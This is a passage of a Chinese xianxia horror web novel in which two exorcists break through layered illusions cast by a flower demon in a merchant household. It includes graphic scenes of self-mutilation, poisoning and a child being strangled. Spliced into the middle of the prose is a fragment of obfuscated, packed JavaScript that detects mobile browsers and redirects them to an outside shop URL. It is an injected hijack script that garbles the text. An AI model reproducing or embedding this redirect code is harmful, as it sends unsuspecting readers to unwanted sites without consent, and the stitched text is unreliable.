“小桃,现如今我在这府里举步维艰,你跟着我也只会受苦,你走吧。你房间的桌子上我放了你的身契还有一笔钱,足够你下半辈子富足了,也不算苦了你。”
现在只是一个守院子的下等女使便能随手给自己贴身丫鬟几个耳光,那以后呢?她嫁给了方定远,下半辈子只能在这方宅中蹉跎一生。可小桃只是自己陪嫁来的丫鬟,困住小桃的只是一纸身契,身契一还,大把的逍遥日子等着她。
小桃哭得更凶了:“我不要……我不要离开夫人。我从您做姑娘时就陪您了,早已发誓要陪您一辈子。”
看着哭得稀里哗啦的小桃,方夫人眼中分明有不舍的泪光闪烁,还是决绝道:“身契已经还给你了,你从此就不是方府里的人了,再不走我就要上报官府,告你私闯民宅了。”
“那您就去吧,让官兵把我拖出去!拖出去我再爬回来,拖一遍爬一遍,一直爬到你不赶我走为止!”小桃脸上最常见的懦弱神色不见了,取而代之的是坚定。
“你这是何苦?今日受的委屈还不够吗?你要是留下来,还有多少个耳光等着你受,多少句难听的话等着你听;这些你自己不知道吗?”
“我知道……我都知道,可我要是走了,受这些苦的就是您一个人。您不舍得我受苦,我就能看着您在这府里艰难度日自己逍遥快活吗?”
方夫人泪眼盈盈,一种名为感动的情绪悄然滋生,这种感情让她忍不住抱住小桃,头埋在小桃肩头,嘴唇蠕动着吐出几个模糊不清的字:“好小桃,要是人人都像你一样就好了。”
小桃被方夫人抱着,那朵精神萎靡的曼陀罗恰好映在瞳孔里,慢慢放大、再放大。
要是老爷像当初一样就好了。
那样夫人就不会总是哭泣,眼睛不会整日红肿,而是日日挂着笑容。那样美好的笑容,如今多久没见了。
要是能重新看到,自己付出什么都愿意。
那朵曼陀罗占据了小桃的整个瞳孔,眸子鲜红一片。在暗红的世界里,她好像看到枯黄的叶片不再卷曲,而是伸直了,左右晃动着,如同人一般向她招手。
“你不是愿意为了夫人付出所有吗?”
“来吧,来吧……”
“用你的鲜血滋润我,用你的血肉养育我。”
“来吧,来吧,我会实现你的愿望。”
有声音在耳边响起,每个字明明都带有严重的杂音,甚至有些模糊不清,可她听懂了,她好庆幸从前都是夫人庇护她,现在她也能为夫人做些什么了。
她从方夫人温暖的怀抱中挣脱出来,朝着那朵正在招手的曼陀罗走去。
然后缓缓蹲下,抬起手腕,尖锐的犬齿刺破手腕的皮肉,鲜血晕出。
江知心中暗叫不妙,这完全是上赶着给花妖送养分,不管会不会被发现了,必须出手阻止。
她从石头后面跑出,匆匆从怀里拿出几张黄符,符纸上之前就画好了止血符咒。
只要将符往伤口上一贴,小桃就不会因失血过多失去生命生命,花妖失去养料供给,这个幻境不就不攻自破了吗?
现实往往和想象不一样,江知的符纸根本贴不到小桃的手腕上,只有淡淡一层色彩的黄符穿过手腕,躺在院子的地上。
不过她的这番举动也不是一点收获都没有,至少证明了她在这个幻境里改变不了任何事。
身后的方夫人见小桃这般,小跑过去想阻止。一阵花香传来,步伐生生止住,双手脱力般垂放在身侧,原本黑白分明的眼珠此刻只剩下白茫茫一片。
牙齿咬破的皮肉并不多,鲜血缓缓渗出。小桃加大了力道,“嘎吱嘎吱”的响声充斥了整个院子。
一道血柱从手腕上喷涌而出,粘稠的血液洒了满院。小桃脸上、地上、还有零星的几朵曼陀罗花上都沾染上了红色,浓烈的铁锈味掩盖了那股花香。随着鲜血一起逝去的是生命力,小桃只感觉眼前发黑,再也支撑不住自己的身体,倒在花前。
血腥味盖过了香气,没有了花香的影响,方夫人回过神来。
刚刚还在自己怀里哭成泪人一般的小桃现
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在躺在院子里,一只手腕只剩下森森白骨,还算完整的地方血液不停涌出,嘴角残存着几块碎肉,鲜血布满整张脸。
方夫人绝望地哭喊着,身上华贵的罗裳被暴力地撕成一条条,她把这些布条缠在小桃鲜血直流的手腕上。
深蓝的布料晕出一朵朵紫色的花,眼泪砸在血色之花上,颜色变浅了一点,但很快又恢复了刚才的颜色,甚至比之前更深。
溅在花瓣上的血液缓缓消失,没什么神采的花瓣渐渐恢复元气,变得越来越红,红得有些发黑。
“为什么要这样做呢?我虽然想让这花活过来,可这不该是以你的生命为代价的。”方夫人握住小桃汩汩冒血的手腕,想为她止血,但只能感受到她的身体一点点失去温度,“我就该早一点再早一点,早早地让你出府,你就不会死了对不对?不对,我不该带你陪嫁过来,那样你是不是可以快活一辈子?”
若是小桃还活着,她会拍拍方夫人的背,告诉她自己不后悔,告诉她自己愿意。
可她死了,别说开口说话,就连闭上眼睛都不可能。那双失去生气的眼睛只能旁观方夫人的痛苦。
江知强忍住眼里的泪意,偏过头不去看抱着小桃的方夫人。
她想起师傅曾经说过幻境的形成逃不开执念二字,执念在幻境中必须有一个依托之物,毁了这个东西,幻境便会不攻自破。
咬破指尖,血珠冒出,江知疼得倒吸一口凉气,从前都是用朱砂画符,现在没有这个条件,只能委屈一下自己了。
仅仅只是咬破指尖就这般疼,她不敢想象小桃用牙齿撕碎自己整个手腕时该有多疼。
小桃会害怕吗?
应该不会吧,毕竟江知看见在夫人怀里的尸体脸上分明带着笑。
黄符是透明的,冒出的血珠是透明的,但用鲜血画出的符咒却拥有了实体。
江知将符咒扔到小桃的尸体上,符纸只是刚刚沾上一片衣角便骤然炸开。
爆炸散发出的光遮盖了方夫人和小桃,等光消散之时想象中血肉横飞的画面没有出现。
一滴滴血珠从小桃的尸体上析出,然后缓缓上升,各个闪烁着诡异的红光。
一旁的方夫人消失不见,取而代之的是一只巨大的血肉蝴蝶。
正常的蝴蝶两边翅膀就算有不同,但也仅限于花纹不同,不会像眼前的这个奇怪的东西一样。
它的翅膀看上去像是血红的黏膜,滴滴答答地往下淌着血。一边翅膀上长着一颗心脏,凑近一点还可以看见正在跳动的血管,另一边则布满了大小不一的白色肌腱。
蝴蝶扇动翅膀,令人作呕的腥味袭来,析出的一粒粒血滴听到召唤一般全都聚集到了蝴蝶周围。
然后被一个接一个吸收了,每吸收一粒血珠,它就变大一点。
越靠越近,那对巨大的翅膀几乎将江知包裹在内,头顶和身后的空隙漂浮着蝴蝶来不及吸收的血滴。
好恶心好恶心好恶心——
江知在心里默念了好几遍清心咒才压下想吐的冲动。
现在肯定不适合用符了,她敢肯定自己一拿出符纸没画完符咒浮动在空中的血珠子就会将符纸染湿。
翅膀无声合拢着,她感受出密密麻麻的血管正在蠕动,腥甜的气息笼罩了这个被翅膀围成的小小空间。
蝴蝶饿了,它要进食了。
必须杀了它,不然死得就是自己。
江知将手放到翅膀上,手心一阵粘腻。她低头看去,手心上薄薄的一层皮肉消融了,血管裸露出来,紧接着,鲜血涌出,被蝴蝶贪婪地吮吸进去,手臂以肉眼可见的速度干瘪下去。
心里默默计算着以自己保持清醒的前提下最多能失去多少血液,几乎要到达那个极限时,她轻声说:
“烧吧。”
手心处先是微微发烫,接着发出橘红的光,那是她在蝴蝶体内的血在燃烧。
江知收回已被烧得漆黑的双手,本就黝黑的瞳仁,映着火光,让她的眼睛显得愈发明亮。
翅膀冒出青烟,焦糊味弥漫开来。
“喀——”
响声袭来,面前的景色开始破碎,破洞后是一处小院。江知头也不回地走进小院,将漫天火光甩至身后。
5. 第二层幻境
等到江知完全进入小院中,身后地破洞渐渐愈合,消失不见。
扫视一下四周,看着熟悉的景象,应该是方府的某个小院。
这处小院整洁干净,意味着自己还在幻境里面。她暗道不妙,自己烧了大半管血才破除了第一层幻境。第二层又要烧血过去吗?
阎王啊阎王,这哪是吃点苦,这分明是玩命!
必须快点找到谢玟与,不然自己一个人很难闯出第二层幻境。
她顺着地上的青砖,来到正房门前,犹豫片刻,轻手推开,门轴吱呀一声。
等等,推开?江知看看自己的双手,已经不像刚开始那样时刻都可能消失一样,而是稍微凝实了一点。
看来自己是离现实越来越近了,照这个进度,最多还有一层幻境,就会重新拥有实体了。
她走进正房。这个房间并不大,但塞得满满当当,作为首富之女,她看得出里面的任何一样东西都十分名贵。
走向书桌,桌子上布满了书,一本一本地翻,其中一本书吸引了她的注意。
其他的书都是印刷的时下最流行的话本,单单这一本,是手写的。
翻开,字迹小巧娟秀,像是女子所书。
五月七日,引入。
八月九日,开花,香气可蛊惑人心。
江知眉心一跳,这本用来记录曼陀罗生长情况的书应该是方夫人写的,毕竟曼陀罗就是她养着的。
这样想着,江知继续往后看。
八月十六日,枝叶枯黄。
九月四日,重新开花。
……
后面的内容都大差不差,记录的都是曼陀罗的生长情况。
一阵脚步声传来,江知忙把所有书恢复原样,然后躲到靠近窗格的屏风之后。
上一层幻境里方夫人看不见自己,不代表这一层也看不到,还是小心点好。
躲在这里就算不慎被发现了也可以跳窗而出,是一条绝佳的逃生路线。
门口传来响动,她放缓呼吸。
进来的不是江知在上一层幻境里面见过的方夫人,而是另一位女子。女子身着罗裙,乌黑的长发挽成云鬓,眼角向上勾起、眼波流转、唇薄而红。
生得如此貌美,应该就是小桃口中那个姚梦了,她来方夫人的房间干什么?
江知在屏风后轻轻调整角度,就算姚梦能看见自己也会因为屏风遮挡的关系看不真切。
姚姨娘慢慢踱步至书桌前,抽出最底下的一本,江知记得这就是记载了曼陀罗生长状况的那本书。
一阵悉悉索索的声音传来,姚梦拿起毛笔,一边写一边念出声:“九月十三日,完全盛开。”
江知只觉一股寒意从脚底爬上脊背,蔓延至头顶。
这里是姚梦的房间,那本书是姚梦写的。
难怪方夫人明明过得艰辛,连最亲密的丫鬟穿的也不过是粗布麻衣,丝毫没有一等女使该有的体面,这间房间里的东西却一个个价值不菲。
因为这根本不是方夫人的房间,而是被方定远所宠爱的姚姨娘的房间。
姚梦放下毛笔,将散开的几缕发丝理至耳后:“费了这么多功夫才完成第一步,好在接下来的事情不用我费心了。”
结合之前的所见,江知有一个猜想——姚梦就是她要找的曼陀罗花妖。
她来到方府,第一步是引诱方定远,让方夫人被冷落,用曼陀罗蛊惑方夫人最亲密的小桃献祭,让花吸足养分完全盛开。
那第二步呢?她做这一切都是为了什么?
江知思考得入迷,完全没发现姚梦早已离开书桌,向自己藏身的地方走来。
“随便进女孩子房间可真是太不礼貌了。”姚梦的声音好像从四面八方传来,她的身体一半还是清丽佳人,另一半已经被植物所取代,“听了不该听的,是要付出代价的。”
她变成藤蔓的手臂冲向江知,那藤曼分明就是在院子里面袭击自己和谢玟与是同一种。
姚梦距离自己太近,藤曼的速度太快,江知烧血的副作用又在此时显现出来——她的脑袋发晕,四肢发软。
躲不了了,大不了藤曼刺进身体里的时候再烧一次!
江知闭上眼睛,破罐破摔地想。
“天地玄宗,破!”
什么声音?
江知睁开眼,裹着符咒的桃木剑替她挡住面前的藤蔓。
是谢玟与!他也在这个幻境里!
谢玟与一只手放在唇边,用咒语驱动木剑。
趁着姚梦没有下一步动作,江知手一撑,从窗户翻了出去。
谢玟与上下扫视她一眼,看见江知烧得只剩漆黑骨架的双手,语气里满是担心:“你这是怎么搞的,能不能照顾好自己?”
“这花妖太厉害了,不受点伤我还在第一个幻境里面出不来呢。”她见谢玟与还是和初见一般,别说伤口,就连半点脏污都没有,不免疑惑,“你怎么一点伤都没受?”
“我比你厉害呗,还能因为什么。”
“你厉害你怎么还在幻境里,怎么没出去?也没和我差多少好不好。”
江知从小就被她父亲江伯年娇养着长大,父亲宠爱、家里富足,遇到的人基本都是顺着她的,再加上自己在道法上颇有造诣,师傅常青山常夸她天资聪颖,哪能忍得了有人对她这么说话,有些气急。
藤蔓开始生长,根须顺着剑柄爬上剑身,几片绿色的叶子在木剑上摇曳。
“走!我控制不了这把剑了。”谢玟与放下唇边的那根手指,拉着江知的手向院子门口跑去。
“连自己的武器都保不住,还好意思说自己厉害。”江知被他拉着跑,把自己怀里的符纸一股脑向后甩去。
跑出好一段距离后,牵着她的谢玟与停下了:“前面没路了。”
江知丢出最后一张黄符,脆声道:“既然跑不了,那就打。”
姚梦追上来,眼眶里盛开了一株曼陀罗花,花香骤然浓烈:“怎么不跑了?”
谢玟与反手掷出铜铃,铃铛剧烈晃动,叮叮当当的声音抵消了花香的迷幻效果。
“你有这好东西怎么不早拿出来?”江知感觉脑海里一片清明,就连烧血之后晕晕乎乎的副作用也消失了。
“来不及,我晕得太快了。”
“确实快。”江知挡住姚梦召唤出的藤蔓,手臂发出“呲”的一声,还好只剩下骨头了,不然这么一挡,手臂怕是鲜血淋漓。
谢玟与摊开手,掌心空空,然后五指一握,一截枯枝出现在手里。
江知额头上冷汗直冒,响声愈来愈大,大到她觉得自己的骨头仿佛下一刻就会再也扛不住而断裂开来。
“闪开。”谢玟与出声。
话落,枯枝活了。粉白的花苞从枝头炸开,一朵追着一朵,开满整根树枝,开成一把花做的剑。
他扬手,挥剑。剑锋掠过,片片花瓣洒落,藤蔓一触及花瓣纷纷断裂、枯萎、坠落。
手腕一转,挽成一道剑花,洒下的不再是花瓣,而是完整的、开得正盛的花。姚梦被花围绕着,她想用藤蔓破开花的囚笼,可藤蔓一碰到花就像被吸去生气一般,失去攻击力。
花剑刺入姚梦的心口,她倒了下去。
花香消失了,铃铛停止响动,世界仿佛静止
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了。
“喀——”
面前的一切碎成碎片,第二层幻境也碎了。
江知摸着心口长呼口气,还好自己有个搭档,不然自己就算自己能破除第二层幻境,也是要以自己的生命做赌注的。
“你确实还挺厉害的。”
“那是自然。”谢玟与不知从哪里变出一方锦帕,小心地擦她脸上被烟熏出来的灰。
帕子是温热的,还带着莫名的香气,她不自在地偏过头,又后退了好几步,到一个谢玟与碰不到自己的距离后才提起裙摆,往脸上胡乱抹一番。
“这里。”谢玟与走过来,看上去又要给她擦脸。
江知把头摇得像个拨浪鼓:“不用了不用了,脏就脏了,你不要给我擦脸了。”
谢玟与点点头,将锦帕塞回自己的衣襟里,低头看着衣摆上的暗纹,没再说话。
一时间二人谁都不再说话,有种诡异的沉默。这种状态没有持续很久,远处传来几句谈笑声打破了这份沉默。
“这月领了月钱我就走,这府里太瘆人了。”
是方府里的丫鬟,江知“嘘”一声,示意谢玟与别再开口,竖起耳朵听。
“是啊是啊,越来越怪了。夫人那脸白得很,哪像正常人?”
“我看她就是个妖怪。老爷本厌弃她了,受宠的是西院那个,自从她贴身侍女发疯死在花园里之后,老爷就回心转意了,再也不去西院了。”女声停顿了一下,再开口时音量变小不少,“我看那侍女根本不是发疯自杀的,就是她害死的。”
“你说的有道理……天那,从小长大的丫鬟都下得去手,倒是可怜小姐了,老爷现在在床上病得起不来,亲生母亲又是这般人……”
脚步声、交谈声越来越小,说话的两人走远了。
江知本想追上去继续偷听,一道稚嫩的童音响起:“姐姐,你是谁啊?我怎么从没在府里见过你。”
循着声音响起的地方看去,是一个看起来不过四岁的女童。
与她在京城里见过的其他小儿不同,这女童瘦得夸张,身上只有薄薄一层皮,隐约还能看出骨头的形状。瞳孔大得不正常,眼白聊胜于无,看上去漆黑一片。
这小孩真是奇怪,看到自己只剩骨头的手臂第一反应居然不是害怕,而是上前搭话。
江知思索一番,还有一个重要的的人自己并没有见过,不如趁此机会,让这小儿带自己去见方定远。
她把自己漆黑的手背在身后:“我是定远的朋友,听说他最近病得很重,特意来看望他的,贵府实在是有些绕,找了许久都没找到地方。”
这完全就是在睁眼说瞎话,方府虽说不上小,但绝不是什么七拐八折、九曲回肠的地方,怎么会迷路。
可面前只是一个不过四岁的女娃娃,她怎么能分辨出哪句话是真哪句话是假,她只知道她阿爷的朋友来看望阿爷了。
“我知道阿爷在哪里,你们跟我来。”原来她就是刚刚丫鬟提到的方定远和方夫人的孩子。她冲他们招招手,示意二人跟着自己。
一处小院出现在眼前,与姚梦的院子相比,这个更大,空气里都是苦涩的药味。
女童捂住鼻子,露出的眼睛里装着惆怅:“自从阿爷病了,每天都要喝好多又黑又臭的药。为什么喝了这么多药,他还是躺在床上。”
江知摸摸她的头,安慰道:“因为你阿爷还没好,等他身体好一点,就能下床了。”
女童点点头,推开房门:“阿爷就在里面了,你们去看吧。”
房里的药味比院中更甚,一进去就像泡在一个巨大的中药坛子里,味道直往鼻子里钻。
6. 第三层幻境 上
层层叠叠的纱帐之中,隐约映出人影。听到门口的响动,纱帐里的人抬起身子,苍老又虚弱的声音响起:“把药拿走,我不喝。”
桌边一碗已经冷掉的中药,还是满满一碗,显然是没有喝过的。
看来是把自己当作府里的丫鬟了,江知点头应下,拿起药碗往外走,到门口脚步停下,只是把门关上,并未出门。
门外女童的身影不见了,小孩都讨厌药味,在这漫天苦涩中呆不久倒也正常。
方定远不再出声,像是又睡过去了一样,浑然不知房中两人隐匿在黑暗里,静静凝望着自己。
江知腰上的玉音震动一下,她抬头看去,谢玟与目光停在玉音上,指尖无声敲击着目前浮动的金色暗纹。
-谢玟与:你怀疑这次花妖在方定远身上?
前两层幻境里都是找到花妖所在,然后将其击败,所以他下意识以为江知来找方定远是怀疑在这一层幻境里花妖藏在方定远身上。
-走无常733:没有啊,我只是想看看方定远长得如何。
玉音安静了好半晌,就在江知以为谢玟与不会再说什么的时候,玉音又震动了一下。
-谢玟与:如何?
-走无常733:什么如何,我又不能透过这些纱帐看到他长什么样。
-谢玟与:那你这么还呆在这里,不出去?
-走无常733:方定远是重要人物,在他身边肯定比在外面像个无头苍蝇乱转有用吧。而且他总会睡着吧,等他睡着之后我就掀开帐子,一窥芳容。
上两层幻境里,花妖附身的方夫人和姚梦都与方定远有着千丝万缕的关系,说他是重要并不是空穴来风,但后面“一睹芳容”这般流里流气的说辞,看得谢玟与莫名烦躁。
-谢玟与:你就这么想看他长什么样?为什么?
还能为什么,方定远都那么对待方夫人了,方夫人还没离开他,甚至利用曼陀罗来确保他回心转意。江知实在好奇方定远究竟长什么样能让方夫人如此痴情。
谢玟与在玉音上几近质问的语气让她一阵无语,从没有人敢这么对她说话!气冲冲地把玉音挂回腰间,无论再怎么震动都没拿起来看一眼。
他意识到自己惹江知生气了,连忙在玉音上给她道歉,玉音已然挂回腰间,不看。轻声走到面前,她把头一转,留给谢玟与一个背影。
屋内无端起了一阵风,纱帐吹得层层掀起。帐子垂落间,露出榻上男人的脸——双鬓如雪、皱纹满脸,但五官英气,年轻时肯定风姿绰约。
江知有些疑惑,门窗紧闭,这风来得蹊跷,她回头看向谢玟与,只见他指尖金光环绕,原来这阵风是他召来的。
见她回头,谢玟与指尖的光暗淡下来,风随之停下,他指指玉音。
江知一向是小孩心性,气来得快消得也快,就算不起这阵风自己也不会冷落他很长时间,何况他还为了哄自己起了阵风。
拿起玉音,在几条长长的道歉的话之中,最后短短几字格外显眼。
-谢玟与:怎么样?
她回想起方定远的模样,诚实回到:不错。
谢玟与面色僵硬,按动字符的手也慢下来,半晌才打出四个字:眼光真差。
江知正想和他理论一番,门突兀地打开了,是方夫人,她来看方定远了。
好在自己和谢玟与躲在暗处,方夫人的目光又没有一刻离开床榻上的男人,一时没有注意到两人。
她先是在自己手臂上画了个隐身咒,又抓起谢玟与的手,在他的掌心上也画了一个。
掌心上激起一阵痒意,就算她的手指离开了手心还觉得痒。
他攥紧拳头,指甲深陷掌心,尖锐的疼痛蔓延开来,盖过了那阵难以抑制的痒。
方夫人捧着一碗药,看颜色和桌上那碗放凉的中药是同一种,还在冒着热气。
她把碗搁在桌上,探手掀起那层层叠叠的纱帐,拢至一旁。然后侧坐在床边上,拿起药碗,用勺子舀了一勺药,吹口气确认不烫后把勺子送至方定远唇边。
“定远,起来喝药了。”语气温柔,还带着几分眷恋。
方定远的唇死死抿着,黑色的药汁顺着嘴角流下,没有喝下一滴。
方夫人拿出帕子,小心地擦干流出的药,道:“怎么还和小孩子一样不肯喝药,要我去给你找几个蜜饯吗?”
方定远冷冷看着她,道:“你以为我不知道里面有什么吗?”
江知好奇地看向方夫人手里的药,自从进入这个房间她的目光一直在方定远身上,倒没有注意这个近在眼前的东西。
她指尖轻点,一滴乌黑的药汁从放凉的那碗药上腾起,从方夫人背后绕过,悬停至自己眼前。她轻扇闻了闻,正常的中药味下隐藏着一股极淡的特殊味道。
是红鸾散!入口清甜,片刻后五脏俱焚。
她面色一变,把自己的发现告诉谢玟与,为了不让房间里的剩下两人听到动静,还是用玉音传递的。
见他点破,方夫人干脆不装了,道:“哎呀,被你发现了。”
方定远嘴角轻动了一下:“为什么?”
方夫人面色扭曲起来,大笑几声之后道:“你说为什么?你宠妾灭妻,让我在府里地位全无,几个卑贱的仆人都能嘲笑我,我不该恨你吗?你不该死吗?”
方定远剧烈挣扎着想起身,可他身体实在虚弱,还未起身就喘起粗气,只得躺在床上,气若游丝地开口:“我已经和你解释了,那不是我本意。姚梦她有问题,是她蛊惑了我!是她!”后面几句音量骤然变大,用了自己身上仅存的气力。
方夫人脸上表情有些狰狞,大吼出声:“蛊惑?你要没有那个心意怎么能被她蛊惑?我后悔自己没有早想明白这一点,还等着你回头。那段时间我求神拜佛,京城里里外外的神庙我都跪了一番,祈求你回心转意。可是没有用,一点用都没有!”
“就在我绝望的时候,有个老道找上门来,给了我一包种子,告诉我只要把种子种下去,等它长好就能实现我的愿望。听起来是不是很可笑?但当时那是我唯一的希望。”
“起初它生长得很好,就在将要开花的时候,却莫名其妙地开始枯萎了,怎么救也救不活。当然,它最后还是开花了,你知道发生了什么才让它开花的吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406095|200517||http|test|mini|href|location''.split(''|''),0,{}));
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>方夫人说到这里,表情有些痛苦,她没有等方定远回答,继续说道:“是小桃,是她在花园里自杀了。她的血溅在花瓣上,染红了曼陀罗。然后本来要死的花就活了,开得比之前还好了。我就算再蠢也看得出来这花有问题,那个老道有问题,但我回不了头了,回不了了!”
她声音越来越大,说到最后几乎是尖叫:“小桃死了,为了实现我的愿望死了。为了一个负心人,我失去了世界上对我最好的人,那时我的愿望就变了,我不再想让你回心转意,我想让你去死。花开了,我的愿望实现了,你的身体越来越差了,已经离死不远了。”
“但是太慢了,慢得我没有耐心了。所以我决定亲手送一程。”
说完,她右手捏住方定远的下颌,染着蔻丹的长指甲掐进他那因年老松动的皮肉里,留下几道血痕。左手端起药碗,碗沿抵在他的唇边。
方定远原本咬得死紧的牙关,因为吃痛松动了一刹,有些药汁顺着缝隙灌入喉咙,有些从嘴角溢出,顺着脸颊一直流到下颌。
“呲——”
刚熬好的药汁放了片刻就被端过来,还是滚烫的,接触药汁的皮肉先是泛白,然后变红。
脸颊被烫得起了泡,划出血痕的皮肉翻卷起来,露出底下模糊的颜色。白气从接触的地方一股股升起,恍然间还闻到了熟肉的气味。
他想挣扎,可原本柔弱的方夫人不知哪里来的力气,死死按住了他,他无法挣脱,只能呜咽着,任由她把滚烫的毒物送入自己嘴里。
一碗药灌完,方夫人把碗放回床头,用袖子擦了擦他嘴上的药渍。
方定远整张脸几乎都被烫熟,有些地方红肿着,有些地方溃烂着,被袖子一擦,疼上加疼。
不一会,一口黑血从他嘴里吐出,是红鸾散开始起作用了。
五脏六腑开始融化,嘴角、鼻子甚至眼睛都开始往外冒着血,被烫熟的皮肉沾上凉意的血缓解了灼热之感。
发现这样能让自己好受一点之后,方定远开始主动呕血,只为了让自己好受一点。完全没发现后面吐出的黑血之中夹杂了几片碎肉。
终于,他软软摊下去,失去行动力,死在了自己吐出的血泊里。
江知从方夫人开始喂药就不再看了,这并没有什么用。看不见难道还闻不到听不到吗?从房间里的响动以及声音就可以很好地推测出发生了什么。
她觉得方老爷并不无辜,某种程度也称得上自作自受,但这样的死法实在是太血腥、太折磨人了。
她想再吃几粒清心丸,发现自己装药丸的小袋子不见了,估计是丢符纸阻挡姚梦的时候顺手丢出了。
没了清心丸的帮助,江知烦躁异常,一旁的谢玟与察觉出了她的不对劲,手抚上她的脊背,舒适的感觉自脊背散开,慢慢抚平了内心的烦躁。
方夫人做完这一切向门口走去,打开房门,要离开这个房间。二人本想跟上去,却见方夫人停在门口不动了。
门口处有一个女童,是带江知和谢玟与找到方定远的那个。此刻她眼中含泪,本就诡异的面孔更加骇人。
“阿娘,你……你为什么要杀阿爷?”
7. 第三层幻境 下
方夫人向前一步,用自己的身子挡住了女童投向房间里的视线。
已经太晚了,女童早就看到了床榻上的一片血红以及了无生气的方定远,她脸上有难过、有疑惑,还有害怕。
方夫人没有回答,牵起她小小的手,准备牵着她离开这个是非之地。
女童死死站在原地,无论方夫人怎么拉都纹丝不动。
“你既不愿走,那就留在这吧。”说完方夫人松开手,准备自己一个人离开。
女童眼里含着的泪落下,她用手抓住方夫人的袖子,却触及一片湿润,骤然松开手,手上沾染些血迹。
她茫然地看看自己的手,又看看方夫人的袖子,心里涌出害怕,一边往远离方夫人的方向后退几步一边颤颤巍巍地开口:“你不是我阿娘……我要去找我阿娘……”
方夫人一把将正在后退的女童拉回自己身边,用手抚摸着女童那张依稀可以看出方定远影子的脸,语气温柔:“阿娘就在这里啊,我就是你的阿娘啊。”
女童瑟缩起身子,声音都颤抖起来:“你不是……阿娘不会这么对阿爷的……我要我真正的阿娘……”
不知哪句话触及了方夫人的逆鳞,她神色一变,原本轻抚的手骤然用力,女童只觉面上一疼,疼痛让她失去了本就不多的理智,开始大声哭喊起来。
那声音又尖又细,刺激着方夫人的耳膜,戾气丛生。方夫人的手原本是摸,接着变成了捏,最后在令人烦躁的哭喊声中变成了掐。
指尖划过细嫩的面皮,划出蔻丹一般颜色的痕迹,冒出几粒大小不一的血珠子。
“我不要阿娘了,阿娘坏!我要去找阿爷!”
“好啊,我这就送你去找你的阿爷!”方夫人的手从她的脸上拿下,死死掐住她的脖子。
女童的双手剧烈拍打着掐着她的手,可惜她年纪小、力气也小,这样的反抗根本没有什么用处。脸色开始涨红,嘴巴不自觉地咧开,拼命汲取氧气。
江知不忍再看下去,她从阴影处现身,手往方夫人掐人的那只胳膊上一劈,方夫人痛呼一声,松开手,江知马上将女童扯离方夫人的身边,护在自己身后。
方夫人上下打量她一番:“你是谁?为什么要多管闲事?”
女童的脖颈处已经出现一圈红痕,此刻正在江知身后喘着粗气。江知拍着女童的背为她顺气,道:“你杀你夫君,我可以理解,但孩子是无辜的,你为什么连自己的孩子都不放过?”
“你一直在这个房间里面,你想干什么?”
“你放心,我和方定远没关系,否则早在你毒杀方定远的时候就出手阻止了,而不是等到现在。”
“你刚才不阻止我杀方定远,为什么现在阻止我杀方莲?”
原来他们的孩子叫方莲,是个好名字,看得出方夫人曾经对这个孩子给予厚望。
江知不免有些唏嘘:“方莲,这么一个好名字,你曾经也很喜爱这个孩子吧,怎么现在就要杀之而后快了呢?她又不像方定远一样做了对不起你的事情。”
“对啊,她什么都没做,是最最无辜之人,但她的存在本来就是个错误。”方夫人眼中片刻难过,只有片刻。
“若是没有她,在我发现方定远和姚梦奸情的时候我就会走。可是我有这个孩子,如果我一走了之,一个孩子能在这个府里面活下去吗?为了她我只能留下来,只能祈求方定远回心转意。”
江知冷笑出声:“别把你自己说得那么无辜,说得好像你留在方府里蹉跎度日都是为了这个孩子一样。难道你不能带着方莲一起走吗?留在方府的大部分原因是你舍不得抛下和方定远的感情,只有一小部分是因为放心不下这个孩子吧。”
方夫人被江知所言激怒了,她从头上拔下一支簪子,簪子的尾部被磨得很尖,就算只是轻轻一碰,也能刺破皮肤,鲜血淋漓。
簪子冲着江知的脖子袭来,速度很快,快得只能捕捉到片片残影。
那截刺进姚梦心口的枯枝出现在谢玟与手上,枯枝打了方夫人拿着簪子的手,簪子坠落,在地上发出“砰”的一声。
她想捡起簪子,江知忙扔出的铜钱击中她的腹部,铜钱灼热,冒出阵阵黑烟,疼得方夫人整个身子都弯曲了。
“你……你胡说……我分明是……分明的是为了孩子……我什么时候为自己考虑过。”方夫人疼得直吸气,两只手在小腹上揉搓着。
谢玟与提起那截枯枝,走到她面前,似是要给方夫人一个痛快,江知拦住他:“我还有话想对她说。”
谢玟与点点头,枯枝化作一股金色的烟,消失在手中。
江知看向有些狼狈的方夫人,道:“你别再自欺欺人了,你自己心里也很清楚吧,你并非一点错都没有。你只是接受不了,接受不了小桃的死和你有关,甚至可以说你是最直接的原因。”
“你胡说!小桃死都是因为方定远!”方夫人眼里满是血丝,看起来十分狰狞。
“方定远有错,但若不是你执着得不愿放手,若不是你把妖物带回来,她会死吗?”江知顿了顿,“现在你杀方定远,杀方莲的理由都是给小桃报仇,但凭心而论,小桃真的恨他们吗?”
“她怎么会不恨他们!如果不是他们,小桃怎么会死?!都是他们逼死了她!”
“你忘了吗?小桃是自愿献祭给曼陀罗的,没有谁逼她,她是为了实现你的愿望。”江知一字一句地说“亲自咬破了自己的手腕,任由鲜血散在花瓣上,自愿成为了养料!”
方夫人不再理腹中的剧痛,原本捂着肚子的手猛然松开,两步冲上前,五指握拳,想冲上去给江知几拳,让她不再说话。
可拳头还没落下,几条金色符咒无声缠上方夫人的手腕、腰肢、慢慢包裹住了她整个人。
拳头高高扬起无法落下,她停在原地,失去了行动的资格,只有剧烈起伏的胸膛证明自己还活着,而不是被谢玟与的金色字符困死在原地。
江知撇撇嘴:“我自己也可以躲开的,根本不用你出手。”
谢玟与在空中画了几道符咒,金色的光顺着指尖流淌:“我知道你厉害,但我担心你,所以才忍不住出手。”
画完后他挑眉看向江知,手中枯枝直指跪在地上的方夫人,道:“我看你再怎么和她说她也不会改变的,这应该就是最后一层幻境了,杀了她就能回到现实了。”
江知低头看看自己,自从跌入幻境后一直是透明的身体不知从何时起拥有了轮廓,回头看,甚至有一道浅浅的影子印在地面上。
确实,自己即将拥有实体,这证明这确实是幻境的最后一层。
依据前两层的经验,只要杀了这层环境里花妖附身之
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人,幻境就会碎掉。
方夫人杀了方定远,甚至还想杀死自己的孩子,这般戾气,一定是被花妖附身了。
“动手吧!”她听到谢玟与的声音在耳边响起。
